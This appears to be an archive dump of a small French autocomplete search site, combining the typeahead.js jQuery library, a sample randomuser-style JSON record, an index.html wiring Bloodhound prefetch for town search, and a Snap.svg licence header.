                function async(suggestions) {
                    suggestions = suggestions || [];
                    if (!canceled && rendered < that.limit) {
                        that.cancel = $.noop;
                        var idx = Math.abs(rendered - that.limit);
                        rendered += idx;
                        that._append(query, suggestions.slice(0, idx));
                        that.async && that.trigger("asyncReceived", query, that.name);
                    }
                }
            },
            cancel: $.noop,
            clear: function clear() {
                this._empty();
                this.cancel();
                this.trigger("cleared");
            },
            isEmpty: function isEmpty() {
                return this.$el.is(":empty");
            },
            destroy: function destroy() {
                this.$el = $("<div>");
            }
        });
        return Dataset;
        function getDisplayFn(display) {
            display = display || _.stringify;
            return _.isFunction(display) ? display : displayFn;
            function displayFn(obj) {
                return obj[display];
            }
        }
        function getTemplates(templates, displayFn) {
            return {
                notFound: templates.notFound && _.templatify(templates.notFound),
                pending: templates.pending && _.templatify(templates.pending),
                header: templates.header && _.templatify(templates.header),
                footer: templates.footer && _.templatify(templates.footer),
                suggestion: templates.suggestion || suggestionTemplate
            };
            function suggestionTemplate(context) {
                return $('<div role="option">').attr("id", _.guid()).text(displayFn(context));
            }
        }
        function isValidName(str) {
            return /^[_a-zA-Z0-9-]+$/.test(str);
        }
    }();
    var Menu = function() {
        "use strict";
        function Menu(o, www) {
            var that = this;
            o = o || {};
            if (!o.node) {
                $.error("node is required");
            }
            www.mixin(this);
            this.$node = $(o.node);
            this.query = null;
            this.datasets = _.map(o.datasets, initializeDataset);
            function initializeDataset(oDataset) {
                var node = that.$node.find(oDataset.node).first();
                oDataset.node = node.length ? node : $("<div>").appendTo(that.$node);
                return new Dataset(oDataset, www);
            }
        }
        _.mixin(Menu.prototype, EventEmitter, {
            _onSelectableClick: function onSelectableClick($e) {
                this.trigger("selectableClicked", $($e.currentTarget));
            },
            _onRendered: function onRendered(type, dataset, suggestions, async) {
                this.$node.toggleClass(this.classes.empty, this._allDatasetsEmpty());
                this.trigger("datasetRendered", dataset, suggestions, async);
            },
            _onCleared: function onCleared() {
                this.$node.toggleClass(this.classes.empty, this._allDatasetsEmpty());
                this.trigger("datasetCleared");
            },
            _propagate: function propagate() {
                this.trigger.apply(this, arguments);
            },
            _allDatasetsEmpty: function allDatasetsEmpty() {
                return _.every(this.datasets, _.bind(function isDatasetEmpty(dataset) {
                    var isEmpty = dataset.isEmpty();
                    this.$node.attr("aria-expanded", !isEmpty);
                    return isEmpty;
                }, this));
            },
            _getSelectables: function getSelectables() {
                return this.$node.find(this.selectors.selectable);
            },
            _removeCursor: function _removeCursor() {
                var $selectable = this.getActiveSelectable();
                $selectable && $selectable.removeClass(this.classes.cursor);
            },
            _ensureVisible: function ensureVisible($el) {
                var elTop, elBottom, nodeScrollTop, nodeHeight;
                elTop = $el.position().top;
                elBottom = elTop + $el.outerHeight(true);
                nodeScrollTop = this.$node.scrollTop();
                nodeHeight = this.$node.height() + parseInt(this.$node.css("paddingTop"), 10) + parseInt(this.$node.css("paddingBottom"), 10);
                if (elTop < 0) {
                    this.$node.scrollTop(nodeScrollTop + elTop);
                } else if (nodeHeight < elBottom) {
                    this.$node.scrollTop(nodeScrollTop + (elBottom - nodeHeight));
                }
            },
            bind: function() {
                var that = this, onSelectableClick;
                onSelectableClick = _.bind(this._onSelectableClick, this);
                this.$node.on("click.tt", this.selectors.selectable, onSelectableClick);
                this.$node.on("mouseover", this.selectors.selectable, function() {
                    that.setCursor($(this));
                });
                this.$node.on("mouseleave", function() {
                    that._removeCursor();
                });
                _.each(this.datasets, function(dataset) {
                    dataset.onSync("asyncRequested", that._propagate, that).onSync("asyncCanceled", that._propagate, that).onSync("asyncReceived", that._propagate, that).onSync("rendered", that._onRendered, that).onSync("cleared", that._onCleared, that);
                });
                return this;
            },
            isOpen: function isOpen() {
                return this.$node.hasClass(this.classes.open);
            },
            open: function open() {
                this.$node.scrollTop(0);
                this.$node.addClass(this.classes.open);
            },
            close: function close() {
                this.$node.attr("aria-expanded", false);
                this.$node.removeClass(this.classes.open);
                this._removeCursor();
            },
            setLanguageDirection: function setLanguageDirection(dir) {
                this.$node.attr("dir", dir);
            },
            selectableRelativeToCursor: function selectableRelativeToCursor(delta) {
                var $selectables, $oldCursor, oldIndex, newIndex;
                $oldCursor = this.getActiveSelectable();
                $selectables = this._getSelectables();
                oldIndex = $oldCursor ? $selectables.index($oldCursor) : -1;
                newIndex = oldIndex + delta;
                newIndex = (newIndex + 1) % ($selectables.length + 1) - 1;
                newIndex = newIndex < -1 ? $selectables.length - 1 : newIndex;
                return newIndex === -1 ? null : $selectables.eq(newIndex);
            },
            setCursor: function setCursor($selectable) {
                this._removeCursor();
                if ($selectable = $selectable && $selectable.first()) {
                    $selectable.addClass(this.classes.cursor);
                    this._ensureVisible($selectable);
                }
            },
            getSelectableData: function getSelectableData($el) {
                return $el && $el.length ? Dataset.extractData($el) : null;
            },
            getActiveSelectable: function getActiveSelectable() {
                var $selectable = this._getSelectables().filter(this.selectors.cursor).first();
                return $selectable.length ? $selectable : null;
            },
            getTopSelectable: function getTopSelectable() {
                var $selectable = this._getSelectables().first();
                return $selectable.length ? $selectable : null;
            },
            update: function update(query) {
                var isValidUpdate = query !== this.query;
                if (isValidUpdate) {
                    this.query = query;
                    _.each(this.datasets, updateDataset);
                }
                return isValidUpdate;
                function updateDataset(dataset) {
                    dataset.update(query);
                }
            },
            empty: function empty() {
                _.each(this.datasets, clearDataset);
                this.query = null;
                this.$node.addClass(this.classes.empty);
                function clearDataset(dataset) {
                    dataset.clear();
                }
            },
            destroy: function destroy() {
                this.$node.off(".tt");
                this.$node = $("<div>");
                _.each(this.datasets, destroyDataset);
                function destroyDataset(dataset) {
                    dataset.destroy();
                }
            }
        });
        return Menu;
    }();
    var Status = function() {
        "use strict";
        function Status(options) {
            this.$el = $("<span></span>", {
                role: "status",
                "aria-live": "polite"
            }).css({
                position: "absolute",
                padding: "0",
                border: "0",
                height: "1px",
                width: "1px",
                "margin-bottom": "-1px",
                "margin-right": "-1px",
                overflow: "hidden",
                clip: "rect(0 0 0 0)",
                "white-space": "nowrap"
            });
            options.$input.after(this.$el);
            _.each(options.menu.datasets, _.bind(function(dataset) {
                if (dataset.onSync) {
                    dataset.onSync("rendered", _.bind(this.update, this));
                    dataset.onSync("cleared", _.bind(this.cleared, this));
                }
            }, this));
        }
        _.mixin(Status.prototype, {
            update: function update(event, suggestions) {
                var length = suggestions.length;
                var words;
                if (length === 1) {
                    words = {
                        result: "result",
                        is: "is"
                    };
                } else {
                    words = {
                        result: "results",
                        is: "are"
                    };
                }
                this.$el.text(length + " " + words.result + " " + words.is + " available, use up and down arrow keys to navigate.");
            },
            cleared: function() {
                this.$el.text("");
            }
        });
        return Status;
    }();
    var DefaultMenu = function() {
        "use strict";
        var s = Menu.prototype;
        function DefaultMenu() {
            Menu.apply(this, [].slice.call(arguments, 0));
        }
        _.mixin(DefaultMenu.prototype, Menu.prototype, {
            open: function open() {
                !this._allDatasetsEmpty() && this._show();
                return s.open.apply(this, [].slice.call(arguments, 0));
            },
            close: function close() {
                this._hide();
                return s.close.apply(this, [].slice.call(arguments, 0));
            },
            _onRendered: function onRendered() {
                if (this._allDatasetsEmpty()) {
                    this._hide();
                } else {
                    this.isOpen() && this._show();
                }
                return s._onRendered.apply(this, [].slice.call(arguments, 0));
            },
            _onCleared: function onCleared() {
                if (this._allDatasetsEmpty()) {
                    this._hide();
                } else {
                    this.isOpen() && this._show();
                }
                return s._onCleared.apply(this, [].slice.call(arguments, 0));
            },
            setLanguageDirection: function setLanguageDirection(dir) {
                this.$node.css(dir === "ltr" ? this.css.ltr : this.css.rtl);
                return s.setLanguageDirection.apply(this, [].slice.call(arguments, 0));
            },
            _hide: function hide() {
                this.$node.hide();
            },
            _show: function show() {
                this.$node.css("display", "block");
            }
        });
        return DefaultMenu;
    }();
    var Typeahead = function() {
        "use strict";
        function Typeahead(o, www) {
            var onFocused, onBlurred, onEnterKeyed, onTabKeyed, onEscKeyed, onUpKeyed, onDownKeyed, onLeftKeyed, onRightKeyed, onQueryChanged, onWhitespaceChanged;
            o = o || {};
            if (!o.input) {
                $.error("missing input");
            }
            if (!o.menu) {
                $.error("missing menu");
            }
            if (!o.eventBus) {
                $.error("missing event bus");
            }
            www.mixin(this);
            this.eventBus = o.eventBus;
            this.minLength = _.isNumber(o.minLength) ? o.minLength : 1;
            this.input = o.input;
            this.menu = o.menu;
            this.enabled = true;
            this.active = false;
            this.input.hasFocus() && this.activate();
            this.dir = this.input.getLangDir();
            this._hacks();
            this.menu.bind().onSync("selectableClicked", this._onSelectableClicked, this).onSync("asyncRequested", this._onAsyncRequested, this).onSync("asyncCanceled", this._onAsyncCanceled, this).onSync("asyncReceived", this._onAsyncReceived, this).onSync("datasetRendered", this._onDatasetRendered, this).onSync("datasetCleared", this._onDatasetCleared, this);
            onFocused = c(this, "activate", "open", "_onFocused");
            onBlurred = c(this, "deactivate", "_onBlurred");
            onEnterKeyed = c(this, "isActive", "isOpen", "_onEnterKeyed");
            onTabKeyed = c(this, "isActive", "isOpen", "_onTabKeyed");
            onEscKeyed = c(this, "isActive", "_onEscKeyed");
            onUpKeyed = c(this, "isActive", "open", "_onUpKeyed");
            onDownKeyed = c(this, "isActive", "open", "_onDownKeyed");
            onLeftKeyed = c(this, "isActive", "isOpen", "_onLeftKeyed");
            onRightKeyed = c(this, "isActive", "isOpen", "_onRightKeyed");
            onQueryChanged = c(this, "_openIfActive", "_onQueryChanged");
            onWhitespaceChanged = c(this, "_openIfActive", "_onWhitespaceChanged");
            this.input.bind().onSync("focused", onFocused, this).onSync("blurred", onBlurred, this).onSync("enterKeyed", onEnterKeyed, this).onSync("tabKeyed", onTabKeyed, this).onSync("escKeyed", onEscKeyed, this).onSync("upKeyed", onUpKeyed, this).onSync("downKeyed", onDownKeyed, this).onSync("leftKeyed", onLeftKeyed, this).onSync("rightKeyed", onRightKeyed, this).onSync("queryChanged", onQueryChanged, this).onSync("whitespaceChanged", onWhitespaceChanged, this).onSync("langDirChanged", this._onLangDirChanged, this);
        }
        _.mixin(Typeahead.prototype, {
            _hacks: function hacks() {
                var $input, $menu;
                $input = this.input.$input || $("<div>");
                $menu = this.menu.$node || $("<div>");
                $input.on("blur.tt", function($e) {
                    var active, isActive, hasActive;
                    active = document.activeElement;
                    isActive = $menu.is(active);
                    hasActive = $menu.has(active).length > 0;
                    if (_.isMsie() && (isActive || hasActive)) {
                        $e.preventDefault();
                        $e.stopImmediatePropagation();
                        _.defer(function() {
                            $input.focus();
                        });
                    }
                });
                $menu.on("mousedown.tt", function($e) {
                    $e.preventDefault();
                });
            },
            _onSelectableClicked: function onSelectableClicked(type, $el) {
                this.select($el);
            },
            _onDatasetCleared: function onDatasetCleared() {
                this._updateHint();
            },
            _onDatasetRendered: function onDatasetRendered(type, suggestions, async, dataset) {
                this._updateHint();
                this.eventBus.trigger("render", suggestions, async, dataset);
            },
            _onAsyncRequested: function onAsyncRequested(type, dataset, query) {
                this.eventBus.trigger("asyncrequest", query, dataset);
            },
            _onAsyncCanceled: function onAsyncCanceled(type, dataset, query) {
                this.eventBus.trigger("asynccancel", query, dataset);
            },
            _onAsyncReceived: function onAsyncReceived(type, dataset, query) {
                this.eventBus.trigger("asyncreceive", query, dataset);
            },
            _onFocused: function onFocused() {
                this._minLengthMet() && this.menu.update(this.input.getQuery());
            },
            _onBlurred: function onBlurred() {
                if (this.input.hasQueryChangedSinceLastFocus()) {
                    this.eventBus.trigger("change", this.input.getQuery());
                }
            },
            _onEnterKeyed: function onEnterKeyed(type, $e) {
                var $selectable;
                if ($selectable = this.menu.getActiveSelectable()) {
                    if (this.select($selectable)) {
                        $e.preventDefault();
                        $e.stopPropagation();
                    }
                }
            },
            _onTabKeyed: function onTabKeyed(type, $e) {
                var $selectable;
                if ($selectable = this.menu.getActiveSelectable()) {
                    this.select($selectable) && $e.preventDefault();
                } else if ($selectable = this.menu.getTopSelectable()) {
                    this.autocomplete($selectable) && $e.preventDefault();
                }
            },
            _onEscKeyed: function onEscKeyed() {
                this.close();
            },
            _onUpKeyed: function onUpKeyed() {
                this.moveCursor(-1);
            },
            _onDownKeyed: function onDownKeyed() {
                this.moveCursor(+1);
            },
            _onLeftKeyed: function onLeftKeyed() {
                if (this.dir === "rtl" && this.input.isCursorAtEnd()) {
                    this.autocomplete(this.menu.getActiveSelectable() || this.menu.getTopSelectable());
                }
            },
            _onRightKeyed: function onRightKeyed() {
                if (this.dir === "ltr" && this.input.isCursorAtEnd()) {
                    this.autocomplete(this.menu.getActiveSelectable() || this.menu.getTopSelectable());
                }
            },
            _onQueryChanged: function onQueryChanged(e, query) {
                this._minLengthMet(query) ? this.menu.update(query) : this.menu.empty();
            },
            _onWhitespaceChanged: function onWhitespaceChanged() {
                this._updateHint();
            },
            _onLangDirChanged: function onLangDirChanged(e, dir) {
                if (this.dir !== dir) {
                    this.dir = dir;
                    this.menu.setLanguageDirection(dir);
                }
            },
            _openIfActive: function openIfActive() {
                this.isActive() && this.open();
            },
            _minLengthMet: function minLengthMet(query) {
                query = _.isString(query) ? query : this.input.getQuery() || "";
                return query.length >= this.minLength;
            },
            _updateHint: function updateHint() {
                var $selectable, data, val, query, escapedQuery, frontMatchRegEx, match;
                $selectable = this.menu.getTopSelectable();
                data = this.menu.getSelectableData($selectable);
                val = this.input.getInputValue();
                if (data && !_.isBlankString(val) && !this.input.hasOverflow()) {
                    query = Input.normalizeQuery(val);
                    escapedQuery = _.escapeRegExChars(query);
                    frontMatchRegEx = new RegExp("^(?:" + escapedQuery + ")(.+$)", "i");
                    match = frontMatchRegEx.exec(data.val);
                    match && this.input.setHint(val + match[1]);
                } else {
                    this.input.clearHint();
                }
            },
            isEnabled: function isEnabled() {
                return this.enabled;
            },
            enable: function enable() {
                this.enabled = true;
            },
            disable: function disable() {
                this.enabled = false;
            },
            isActive: function isActive() {
                return this.active;
            },
            activate: function activate() {
                if (this.isActive()) {
                    return true;
                } else if (!this.isEnabled() || this.eventBus.before("active")) {
                    return false;
                } else {
                    this.active = true;
                    this.eventBus.trigger("active");
                    return true;
                }
            },
            deactivate: function deactivate() {
                if (!this.isActive()) {
                    return true;
                } else if (this.eventBus.before("idle")) {
                    return false;
                } else {
                    this.active = false;
                    this.close();
                    this.eventBus.trigger("idle");
                    return true;
                }
            },
            isOpen: function isOpen() {
                return this.menu.isOpen();
            },
            open: function open() {
                if (!this.isOpen() && !this.eventBus.before("open")) {
                    this.menu.open();
                    this._updateHint();
                    this.eventBus.trigger("open");
                }
                return this.isOpen();
            },
            close: function close() {
                if (this.isOpen() && !this.eventBus.before("close")) {
                    this.menu.close();
                    this.input.clearHint();
                    this.input.resetInputValue();
                    this.eventBus.trigger("close");
                }
                return !this.isOpen();
            },
            setVal: function setVal(val) {
                this.input.setQuery(_.toStr(val));
            },
            getVal: function getVal() {
                return this.input.getQuery();
            },
            select: function select($selectable) {
                var data = this.menu.getSelectableData($selectable);
                if (data && !this.eventBus.before("select", data.obj, data.dataset)) {
                    this.input.setQuery(data.val, true);
                    this.eventBus.trigger("select", data.obj, data.dataset);
                    this.close();
                    return true;
                }
                return false;
            },
            autocomplete: function autocomplete($selectable) {
                var query, data, isValid;
                query = this.input.getQuery();
                data = this.menu.getSelectableData($selectable);
                isValid = data && query !== data.val;
                if (isValid && !this.eventBus.before("autocomplete", data.obj, data.dataset)) {
                    this.input.setQuery(data.val);
                    this.eventBus.trigger("autocomplete", data.obj, data.dataset);
                    return true;
                }
                return false;
            },
            moveCursor: function moveCursor(delta) {
                var query, $candidate, data, suggestion, datasetName, cancelMove, id;
                query = this.input.getQuery();
                $candidate = this.menu.selectableRelativeToCursor(delta);
                data = this.menu.getSelectableData($candidate);
                suggestion = data ? data.obj : null;
                datasetName = data ? data.dataset : null;
                id = $candidate ? $candidate.attr("id") : null;
                this.input.trigger("cursorchange", id);
                cancelMove = this._minLengthMet() && this.menu.update(query);
                if (!cancelMove && !this.eventBus.before("cursorchange", suggestion, datasetName)) {
                    this.menu.setCursor($candidate);
                    if (data) {
                        this.input.setInputValue(data.val);
                    } else {
                        this.input.resetInputValue();
                        this._updateHint();
                    }
                    this.eventBus.trigger("cursorchange", suggestion, datasetName);
                    return true;
                }
                return false;
            },
            destroy: function destroy() {
                this.input.destroy();
                this.menu.destroy();
            }
        });
        return Typeahead;
        function c(ctx) {
            var methods = [].slice.call(arguments, 1);
            return function() {
                var args = [].slice.call(arguments);
                _.each(methods, function(method) {
                    return ctx[method].apply(ctx, args);
                });
            };
        }
    }();
    (function() {
        "use strict";
        var old, keys, methods;
        old = $.fn.typeahead;
        keys = {
            www: "tt-www",
            attrs: "tt-attrs",
            typeahead: "tt-typeahead"
        };
        methods = {
            initialize: function initialize(o, datasets) {
                var www;
                datasets = _.isArray(datasets) ? datasets : [].slice.call(arguments, 1);
                o = o || {};
                www = WWW(o.classNames);
                return this.each(attach);
                function attach() {
                    var $input, $wrapper, $hint, $menu, defaultHint, defaultMenu, eventBus, input, menu, status, typeahead, MenuConstructor;
                    _.each(datasets, function(d) {
                        d.highlight = !!o.highlight;
                    });
                    $input = $(this);
                    $wrapper = $(www.html.wrapper);
                    $hint = $elOrNull(o.hint);
                    $menu = $elOrNull(o.menu);
                    defaultHint = o.hint !== false && !$hint;
                    defaultMenu = o.menu !== false && !$menu;
                    defaultHint && ($hint = buildHintFromInput($input, www));
                    defaultMenu && ($menu = $(www.html.menu).css(www.css.menu));
                    $hint && $hint.val("");
                    $input = prepInput($input, www);
                    if (defaultHint || defaultMenu) {
                        $wrapper.css(www.css.wrapper);
                        $input.css(defaultHint ? www.css.input : www.css.inputWithNoHint);
                        $input.wrap($wrapper).parent().prepend(defaultHint ? $hint : null).append(defaultMenu ? $menu : null);
                    }
                    MenuConstructor = defaultMenu ? DefaultMenu : Menu;
                    eventBus = new EventBus({
                        el: $input
                    });
                    input = new Input({
                        hint: $hint,
                        input: $input
                    }, www);
                    menu = new MenuConstructor({
                        node: $menu,
                        datasets: datasets
                    }, www);
                    status = new Status({
                        $input: $input,
                        menu: menu
                    });
                    typeahead = new Typeahead({
                        input: input,
                        menu: menu,
                        eventBus: eventBus,
                        minLength: o.minLength
                    }, www);
                    $input.data(keys.www, www);
                    $input.data(keys.typeahead, typeahead);
                }
            },
            isEnabled: function isEnabled() {
                var enabled;
                ttEach(this.first(), function(t) {
                    enabled = t.isEnabled();
                });
                return enabled;
            },
            enable: function enable() {
                ttEach(this, function(t) {
                    t.enable();
                });
                return this;
            },
            disable: function disable() {
                ttEach(this, function(t) {
                    t.disable();
                });
                return this;
            },
            isActive: function isActive() {
                var active;
                ttEach(this.first(), function(t) {
                    active = t.isActive();
                });
                return active;
            },
            activate: function activate() {
                ttEach(this, function(t) {
                    t.activate();
                });
                return this;
            },
            deactivate: function deactivate() {
                ttEach(this, function(t) {
                    t.deactivate();
                });
                return this;
            },
            isOpen: function isOpen() {
                var open;
                ttEach(this.first(), function(t) {
                    open = t.isOpen();
                });
                return open;
            },
            open: function open() {
                ttEach(this, function(t) {
                    t.open();
                });
                return this;
            },
            close: function close() {
                ttEach(this, function(t) {
                    t.close();
                });
                return this;
            },
            select: function select(el) {
                var success = false, $el = $(el);
                ttEach(this.first(), function(t) {
                    success = t.select($el);
                });
                return success;
            },
            autocomplete: function autocomplete(el) {
                var success = false, $el = $(el);
                ttEach(this.first(), function(t) {
                    success = t.autocomplete($el);
                });
                return success;
            },
            moveCursor: function moveCursoe(delta) {
                var success = false;
                ttEach(this.first(), function(t) {
                    success = t.moveCursor(delta);
                });
                return success;
            },
            val: function val(newVal) {
                var query;
                if (!arguments.length) {
                    ttEach(this.first(), function(t) {
                        query = t.getVal();
                    });
                    return query;
                } else {
                    ttEach(this, function(t) {
                        t.setVal(_.toStr(newVal));
                    });
                    return this;
                }
            },
            destroy: function destroy() {
                ttEach(this, function(typeahead, $input) {
                    revert($input);
                    typeahead.destroy();
                });
                return this;
            }
        };
        $.fn.typeahead = function(method) {
            if (methods[method]) {
                return methods[method].apply(this, [].slice.call(arguments, 1));
            } else {
                return methods.initialize.apply(this, arguments);
            }
        };
        $.fn.typeahead.noConflict = function noConflict() {
            $.fn.typeahead = old;
            return this;
        };
        function ttEach($els, fn) {
            $els.each(function() {
                var $input = $(this), typeahead;
                (typeahead = $input.data(keys.typeahead)) && fn(typeahead, $input);
            });
        }
        function buildHintFromInput($input, www) {
            return $input.clone().addClass(www.classes.hint).removeData().css(www.css.hint).css(getBackgroundStyles($input)).prop("readonly", true).removeAttr("id name placeholder required").attr({
                spellcheck: "false",
                tabindex: -1
            });
        }
        function prepInput($input, www) {
            $input.data(keys.attrs, {
                dir: $input.attr("dir"),
                autocomplete: $input.attr("autocomplete"),
                spellcheck: $input.attr("spellcheck"),
                style: $input.attr("style")
            });
            $input.addClass(www.classes.input).attr({
                spellcheck: false
            });
            try {
                !$input.attr("dir") && $input.attr("dir", "auto");
            } catch (e) {}
            return $input;
        }
        function getBackgroundStyles($el) {
            return {
                backgroundAttachment: $el.css("background-attachment"),
                backgroundClip: $el.css("background-clip"),
                backgroundColor: $el.css("background-color"),
                backgroundImage: $el.css("background-image"),
                backgroundOrigin: $el.css("background-origin"),
                backgroundPosition: $el.css("background-position"),
                backgroundRepeat: $el.css("background-repeat"),
                backgroundSize: $el.css("background-size")
            };
        }
        function revert($input) {
            var www, $wrapper;
            www = $input.data(keys.www);
            $wrapper = $input.parent().filter(www.selectors.wrapper);
            _.each($input.data(keys.attrs), function(val, key) {
                _.isUndefined(val) ? $input.removeAttr(key) : $input.attr(key, val);
            });
            $input.removeData(keys.typeahead).removeData(keys.www).removeData(keys.attr).removeClass(www.classes.input);
            if ($wrapper.length) {
                $input.detach().insertAfter($wrapper);
                $wrapper.remove();
            }
        }
        function $elOrNull(obj) {
            var isValid, $el;
            isValid = _.isJQuery(obj) || _.isElement(obj);
            $el = isValid ? $(obj).first() : [];
            return $el.length ? $el : null;
        }
    })();
});PK!����^^
database.jsonnu&1i�[
  {
    "gender": "female",
    "name": {
      "title": "madame",
      "first": "lyloussss",
      "last": "thomas"
    },
    "location": {
      "street": "5933 rue d'abbeville",
      "city": "sottens",
      "state": "genève",
      "postcode": 4045
    },
    "email": "lylou.thomas@example.com",
    "login": {
      "username": "orangemouse111",
      "password": "asdfjkl",
      "salt": "PmkaTArn",
      "md5": "e923e268a9a0ea6ccf402905d7a83f75",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "1959-06-15 22:30:39",
    "registered": "2002-12-27 17:50:02",
    "phone": "(772)-966-5431",
    "cell": "(505)-943-4344",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://randomuser.me/api/portraits/women/17.jpg",
      "medium": "https://randomuser.me/api/portraits/med/women/17.jpg",
      "thumbnail": "https://randomuser.me/api/portraits/thumb/women/17.jpg"
    },
    "nat": "CH"
  }
]PK!g���%%
index.htmlnu&1i�<!DOCTYPE html>
<html>
<head>
    <title>Autocomplete Search Plugin</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon" />
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport" />
    <meta charset="utf-8" />
    <link href="dist/semantic.min.css" rel="stylesheet" />
    <link href="css/main.min.css" rel="stylesheet" />
    <script src="js/snap.svg-min.js"></script>
    <script src="database.json"></script>
    <link href="css/ionicons.min.css" rel="stylesheet" />
</head>
<body style="">



    <div class="customizer" style="display:none">
        <ul class="color-tool">
            <li class="color-1"><a class="colorChn" data-color="#50514F"></a></li>
            <li class="color-2"><a class="colorChn" data-color="#F25F5C"></a></li>
            <li class="color-3"><a class="colorChn" data-color="#247BA0"></a></li>
            <li class="color-4"><a class="colorChn" data-color="#8e44ad"></a></li>
            <li class="color-5"><a class="colorChn" data-color="#32936F"></a></li>
            <li class="color-6"><a class="colorChn" data-color="#2c3e50"></a></li>
            <li class="color-7"><a class="colorChn" data-color="#E83F6F"></a></li>
            <li class="color-8"><a class="colorChn" data-color="#32936F"></a></li>
            <li class="doc"><a class="" href="document.html" data-tooltip="Documentation" data-position="right center"><i class="ion-help"></i></a></li>
        </ul>
    </div>

    <div class="ui container">

        <div class="section">
            <div class="row">
                <div class="four wide tablet sixteen wide computer column">
                    <div class="ui basic segment">
                        <header class="main-header">
                            <img src="img/logo.png" style="padding-top:100px;" />
                            <h1>La caisse à savon<span style="font-weight:700">Déplacement à domicile à Avignon et ses alentours </span></h1>
                        </header>
                        <div class="input-container">
                            <div class="input-wrap">
                                <input type="search" class="typeahead clearable" autocomplete="off" autofocus="autofocus" placeholder="Votre ville. Ex: Avignon" />
                                <i class="ion-backspace link icon cleard big"></i>
                                <div class="ui active loader loadd"></div>
                                <span class="morph-shape" data-morph-active="M359,70c0,0-59,6-174,6C84,76,9,70,9,70S3,60,3,40c0-16,6-30,6-30s75-6,176-6c115,0,174,6,174,6s8,14,8,30C367,60,359,70,359,70z">
                                    <svg width="100%" height="100%" viewBox="0 0 370 80" preserveAspectRatio="none">
                                        <path d="M359,70c0,0-59,0-174,0C84,70,9,70,9,70s0-10,0-30c0-16,0-30,0-30s75,0,176,0c115,0,174,0,174,0s0,14,0,30C359,60,359,70,359,70z" />
                                    </svg>
                                </span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="ui modal small" id="info_modal">
        <div class="header md_header" style="text-transform: capitalize!important">
        </div>
        <div class="image content">
            <div class="ui small image">
                <img class="avatar_img" src="">
            </div>
            <div class="description">
                <div class="ui header">Type de vehicule</div>
                <div class="ui relaxed divided list">
                    <div class="item">
                        <i class="icon ion-android-car black"></i>
                        <div class="bottom aligned content">
                            <a href="https://www.la-caisse-a-savon.fr/APP_VERSEAU/domiciles/domicile-citadine/" class="header md_phone1"><span style="color:#A98901">CITADINE</span></a>
                        </div>
                    </div>
                    <div class="item" id="bluelink">
                        <i class="icon ion-android-car black"></i>
                        <div class="bottom aligned content">
                            <a  class="header md_stateS" ><span style="color:#A98901">SUV/BERLINE/4X4</a>
                        </div>
						
						<style>
						   #bluelink a {color:red}
						</style>
                    </div>
                    <!-- <div class="item"> -->
                        <!-- <i class="ion-email icon green"></i> -->
                        <!-- <div class="bottom aligned content"> -->
                            <!-- <a class="header md-mail" data-clipboard-target="#foo">E-Mail: <span id="foo" data-tooltip="Click for Copy" data-inverted="" data-position="top right" class="md-mail_adr"></span></a> -->
                        <!-- </div> -->
                    <!-- </div> -->
                </div>
            </div>
        </div>
        <div class="actions">

            <!-- <a class="ui positive right labeled icon button send_mail" href=""> -->
                <!-- Send E-Mail -->
                <!-- <i class="ion-paper-airplane icon"></i> -->
            <!-- </a> -->
            <div class="ui black deny button">
                Fermer
            </div>
        </div>
    </div>

    <script src="js/jquery-3.1.1.min.js"></script>
    <script src="dist/semantic.min.js"></script>
    <script src="plugin/typeahead.js/jquery.clearsearch.js"></script>
    <script src="plugin/typeahead.js/typeahead.jquery.js"></script>
    <script src="plugin/typeahead.js/typeahead.bundle.js"></script>
    <script src="plugin/typeahead.js/bloodhound.js"></script>
    <script src="plugin/typeahead.js/hogan-2.0.0.js"></script>
    <script src="plugin/typeahead.js/handlebars.min.js"></script>

    <script>
 var tags = ['name', 'user_name', 'email', 'state'];//parsing variables for search input
    var contactList = new Bloodhound({
    datumTokenizer: Bloodhound.tokenizers.obj.whitespace('tags'),
    queryTokenizer: Bloodhound.tokenizers.whitespace,
    minLength: 1,//minimum character length for search
    prefetch: {
        url: 'http://123click.fr/database.json',
        transform: function (response) {
            return $.map(response, function (tag) {
                return {
                    name: tag.name.first + " " + tag.name.last,//parse name from json file
                    picture: tag.picture.thumbnail,//parse picture form json file
                    l_picture: tag.picture.large,//parse large picture from json file
                    email: tag.email,//parse email from json file
                    phone: tag.phone,//parse phone number from json file
                    user_name: tag.login.username,//parse user name from json file
                    state: tag.location.state + ", " + tag.nat//parse state and country code from json file
                }
            });
        },
        cache: false,
        ttl: 3600000,
    },
});
    </script>
    <script src="js/main.min.js"></script>
</body>
</html>PK!������js/snap.svg-min.jsnu&1i�// Snap.svg 0.3.0
// 
// Copyright (c) 2013 Adobe Systems Incorporated. All rights reserved.
// 
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// 
// http://www.apache.org/licenses/LICENSE-2.0
// 
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// 
// build: 2014-06-03
